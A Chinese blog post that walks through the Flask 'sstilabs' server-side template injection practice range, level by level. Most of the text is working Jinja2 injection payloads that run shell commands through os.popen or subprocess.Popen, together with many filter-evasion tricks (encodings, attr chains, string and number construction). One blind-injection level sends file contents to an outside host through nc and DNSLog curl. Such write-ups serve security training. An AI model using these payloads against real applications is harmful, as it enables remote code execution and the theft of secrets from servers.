Flask SSTI LAB攻略
John_Frod Lv4

Flask SSTI LAB攻略

sstilab是一个模板注入的靶场,目前只有Flask模板注入的练习

地址:https://github.com/X3NNY/sstilabs

image-20210427111204793


level 1

WAF: no waf

由于他不是使用GET方法传数据,截包看一下他的数据是怎么传的,方便后续写脚本

image-20210427113339557

发现是用POST方法传一个code参数,再利用Burp去找可以利用的类

image-20210427143654201

看了几个发现并没有popen()函数,只有一个subprocess.Popen类,利用方式如下:

1
{{().__class__.__base__.__subclasses__()[258]('cat flag',shell=True,stdout=-1).communicate()[0].strip()}}

再看看__builtins__

1
{{().__class__.__base__.__subclasses__()[196].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat flag').read()")}}

然后又发现还有os函数

1
{{().__class__.__base__.__subclasses__()[258].__init__.__globals__['os'].popen('cat flag').read()}}

level 2

WAF: bl['{{']

这里过滤了{{,可以使用{% %}来绕过,由于第一关已经知道了能利用的类的下标,这里就不再重复

1
2
3
4
5
6
7
8
#popen
{%print(().__class__.__base__.__subclasses__()[258]('cat flag',shell=True,stdout=-1).communicate()[0].strip())%}

#__builtins__
{%print(().__class__.__base__.__subclasses__()[196].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat flag').read()"))%}

#os
{%print(().__class__.__base__.__subclasses__()[258].__init__.__globals__['os'].popen('cat flag').read())%}

level 3

WAF: no waf and blind

这一关是盲注,首先我们要知道可以利用的类的名字,比如我们从第一关就知道Popen这个类里面有os

  • 通过nc命令把目录传到自己的服务器上
1
{% for i in ''.__class__.__mro__[-1].__subclasses__() %}{% if i.__name__=='Popen' %}{{ i.__init__.__globals__['os'].popen('cat flag|nc 192.168.91.128 4444').read()}}{% endif %}{% endfor %}

image-20210427161914594

  • 使用DNSLog带出数据
1
{% for i in ''.__class__.__mro__[-1].__subclasses__() %}{% if i.__name__=='Popen' %}{{ i.__init__.__globals__['os'].popen('curl http://`cat flag`.t6n089.ceye.io').read()}}{% endif %}{% endfor %}

image-20210427162855827


level 4

WAF: bl[‘[‘, ‘]’]

第四关过滤了中括号,对于索引的[]可以用pop()__getitem__()代替[];而类的可以用__getattribute__绕过

这里还是使用Popen类里面的os

1
2
3
4
{{().__class__.__mro__.__getitem__(-1).__subclasses__().__getitem__(258).__init__.__globals__.__getitem__('os').popen('cat flag').read()}}

#一句话
{% for i in ''.__class__.__mro__.__getitem__(-1).__subclasses__() %}{% if i.__name__=='Popen' %}{{ i.__init__.__globals__.__getitem__('os').popen('cat flag').read()}}{% endif %}{% endfor %}

level 5

WAF: bl[‘\‘’, ‘“‘]

第五关过滤了引号,有两种方法绕过:

  • request绕过
1
2
3
4
5
6
7
#使用POST方法
{{().__class__.__mro__[-1].__subclasses__()[258].__init__.__globals__[request.values.arg1].popen(request.values.arg2).read()}}
POST:arg1=os&arg2=cat flag

#使用Cookie
{{().__class__.__mro__[-1].__subclasses__()[258].__init__.__globals__[request.cookies.arg1].popen(request.cookies.arg2).read()}}
Cookie:arg1=os;arg2=cat flag
  • chr()绕过

先找出chr()函数的位置

1
{{().__class__.__mro__[-1].__subclasses__()[§0§].__init__.__globals__.__builtins__.chr}}

image-20210427171234903

1
2
{%set chr=[].__class__.__mro__[-1].__subclasses__()[58].__init__.__globals__.__builtins__.chr%}
{%print(().__class__.__mro__[-1].__subclasses__()[258].__init__.__globals__[chr(111)%2bchr(115)].popen(chr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)).read())%}

这个似乎没有成功,不知道为啥,还是requset方便,查ascii吐血


level 6

WAF: bl[‘_’]

第六关过滤了下划线_,可以使用编码或者attr()配合request绕过

  • 十六位编码
1
{{()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fmro\x5f\x5f"][-1]["\x5f\x5fsubclasses\x5f\x5f"]()[258]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["os"].popen("cat flag").read()}}
  • Unicode编码
1
{{lipsum|attr("\u005f\u005fglobals\u005f\u005f")|attr("\u005f\u005fgetitem\u005f\u005f")("os")|attr("popen")("cat flag")|attr("read")()}}

这里使用了lipsum这个方法直接调用os

  • base64编码
1
{{()|attr('X19jbGFzc19f'.decode('base64'))|attr('X19iYXNlX18='.decode('base64'))|attr('X19zdWJjbGFzc2VzX18='.decode('base64'))()|attr('X19nZXRpdGVtX18='.decode('base64'))(258)|attr('X19pbml0X18='.decode('base64'))|attr('X19nbG9iYWxzX18='.decode('base64'))|attr('X19nZXRpdGVtX18='.decode('base64'))('os')|attr('popen')('cat flag')|attr('read')()}}
  • attr()配合request
1
2
{{(x|attr(request.cookies.x1)|attr(request.cookies.x2)|attr(request.cookies.x3))(request.cookies.x4).eval(request.cookies.x5)}} 
x1=__init__;x2=__globals__;x3=__getitem__;x4=__builtins__;x5=__import__('os').popen('cat f*').read()

level 7

WAF: bl[‘.’]

第七关过滤了.

  • []绕过
1
{{()['__class__']['__base__']['__subclasses__']()['__getitem__'](258)['__init__']['__globals__']['__getitem__']('os')['popen']('cat flag')['read']()}}
  • attr()绕过
1
{{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(258)|attr('__init__')|attr('__globals__')|attr('__getitem__')('os')|attr('popen')('cat flag')|attr('read')()}}

level 8

WAF: bl[“class”, “arg”, “form”, “value”, “data”, “request”, “init”, “global”, “open”, “mro”, “base”, “attr”]

第八关过滤了一堆关键字,使用拼接绕过

1
{{()['__cl'+'ass__']['__ba'+'se__']['__subcl'+'asses__']()['__getitem__'](258)['__in'+'it__']['__gl'+'obals__']['__getitem__']('os')['po'+'pen']('cat flag')['read']()}}

level 9

WAF: bl[‘0-9’]

第九关过滤了数字

  • 直接用for循环找到可以利用的类直接利用,
1
{% for i in (''.__class__.__mro__|last()).__subclasses__() %}{% if i.__name__=='Popen' %}{{ i.__init__.__globals__.__getitem__('os').popen('cat flag').read()}}{% endif %}{% endfor %}

由于这里的__base__并不是object,因此要用到__mro__[-1]来获取object类,然而又过滤了数字,所以要用last()来获取最后一个类

  • lipsum不通过数字直接利用
1
{{lipsum|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("cat flag")|attr("read")()}}
  • 构造数字进行拼接
1
2
3
4
5
{% set two=dict(aa=a)|join|count %}
{% set five=dict(aaaaa=a)|join|count %}
{% set eight=dict(aaaaaaaa=a)|join|count %}
{% set erwuba=(two~five~eight)|int %}
{{().__class__.__base__.__subclasses__()[erwuba].__init__.__globals__['os'].popen('cat flag').read()}}

level 10

WAF: set config = None

这一关的目标不是flag,而是获取config,可以通过current_app来获取

  • url_for
1
{{url_for.__globals__['current_app'].config}}
  • get_flashed_messages
1
{{get_flashed_messages.__globals__['current_app'].config}}

level 11

WAF: bl[‘'‘, ‘“‘, ‘+’, ‘request’, ‘.’, ‘[‘, ‘]’]

11关过滤了一堆东西,先确定一个利用的基本payload

1
{{lipsum|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("cat flag")|attr("read")()}}

然后再构造变量来绕过,思路为:利用set来定义变量,使用attr()来提取使用变量绕过点,中括号。但是这样存在一个问题是需要获取下划线,这里通过lipsum来获取下划线。

首先查看_在第几个,这里是下标18为下划线

1
{{(lipsum|string|list)}}

image-20210506114843187

1
{{(lipsum|string|list)|attr(pop)(18)}}

这里问题来了,attr()里面要求的是字符串,直接输pop需要用引号''包围起来,但是这里又过滤了引号,所以要先构造一个pop字符串:

1
2
{% set pop=dict(pop=a)|join%}
{% set xiahuaxian=(lipsum|string|list)|attr(pop)(18)%}

此时就能成功取到_,再用下划线去构造其他的类:

1
2
{% set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join %}
{% set getitem=(xiahuaxian,xiahuaxian,dict(getitem=a)|join,xiahuaxian,xiahuaxian)|join %}

再去构造后面用到的方法:

1
2
3
4
5
6
{% set space=(lipsum|string|list)|attr(pop)(9)%}
{% set os=dict(os=a)|join %}
{% set popen=dict(popen=a)|join%}
{% set cat=dict(cat=a)|join%}
{% set cmd=(cat,space,dict(flag=a)|join)|join%}
{% set read=dict(read=a)|join%}

最后就是完整的利用语法:

1
{{(lipsum|attr(globals))|attr(getitem)(os)|attr(popen)(cmd)|attr(read)()}}

合在一起就是:

1
2
3
4
5
6
7
8
9
10
11
{% set pop=dict(pop=a)|join%}
{% set xiahuaxian=(lipsum|string|list)|attr(pop)(18)%}
{% set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join %}
{% set getitem=(xiahuaxian,xiahuaxian,dict(getitem=a)|join,xiahuaxian,xiahuaxian)|join %}
{% set space=(lipsum|string|list)|attr(pop)(9)%}
{% set os=dict(os=a)|join %}
{% set popen=dict(popen=a)|join%}
{% set cat=dict(cat=a)|join%}
{% set cmd=(cat,space,dict(flag=a)|join)|join%}
{% set read=dict(read=a)|join%}
{{(lipsum|attr(globals))|attr(getitem)(os)|attr(popen)(cmd)|attr(read)()}}

level 12

WAF: bl[‘_’, ‘.’, ‘0-9’, ‘\‘, ‘'‘, ‘“‘, ‘[‘, ‘]’]

这一关把下划线_和数字也过滤了,可以在上一关的基础上加入数字

1
2
3
4
5
6
7
8
9
10
11
12
13
14
{% set nine=dict(aaaaaaaaa=a)|join|count %}
{% set eighteen=nine+nine %}

{% set pop=dict(pop=a)|join%}
{% set xiahuaxian=(lipsum|string|list)|attr(pop)(eighteen)%}
{% set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join %}
{% set getitem=(xiahuaxian,xiahuaxian,dict(getitem=a)|join,xiahuaxian,xiahuaxian)|join %}
{% set space=(lipsum|string|list)|attr(pop)(nine)%}
{% set os=dict(os=a)|join %}
{% set popen=dict(popen=a)|join%}
{% set cat=dict(cat=a)|join%}
{% set cmd=(cat,space,dict(flag=a)|join)|join%}
{% set read=dict(read=a)|join%}
{{(lipsum|attr(globals))|attr(getitem)(os)|attr(popen)(cmd)|attr(read)()}}

level 13

WAF: bl[‘_’, ‘.’, ‘\‘, ‘'‘, ‘“‘, ‘request’, ‘+’, ‘class’, ‘init’, ‘arg’, ‘config’, ‘app’, ‘self’, ‘[‘, ‘]’]

过滤的东西更多了,但是我们上面的payload完美避开

1
2
3
4
5
6
7
8
9
10
11
{% set pop=dict(pop=a)|join%}
{% set xiahuaxian=(lipsum|string|list)|attr(pop)(18)%}
{% set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join %}
{% set getitem=(xiahuaxian,xiahuaxian,dict(getitem=a)|join,xiahuaxian,xiahuaxian)|join %}
{% set space=(lipsum|string|list)|attr(pop)(9)%}
{% set os=dict(os=a)|join %}
{% set popen=dict(popen=a)|join%}
{% set cat=dict(cat=a)|join%}
{% set cmd=(cat,space,dict(flag=a)|join)|join%}
{% set read=dict(read=a)|join%}
{{(lipsum|attr(globals))|attr(getitem)(os)|attr(popen)(cmd)|attr(read)()}}

参考资料

GitHub SSTI靶场 wp

MAR & DASCTF 2021 baby_flask

CTFshow-WEB入门-SSTI

  • Post title:Flask SSTI LAB攻略
  • Post author:John_Frod
  • Create time:2021-05-06 16:01:47
  • Post link:https://keep.xpoet.cn/2021/05/06/Flask-SSTI-LAB攻略/
  • Copyright Notice:All articles in this blog are licensed under BY-NC-SA unless stating additionally.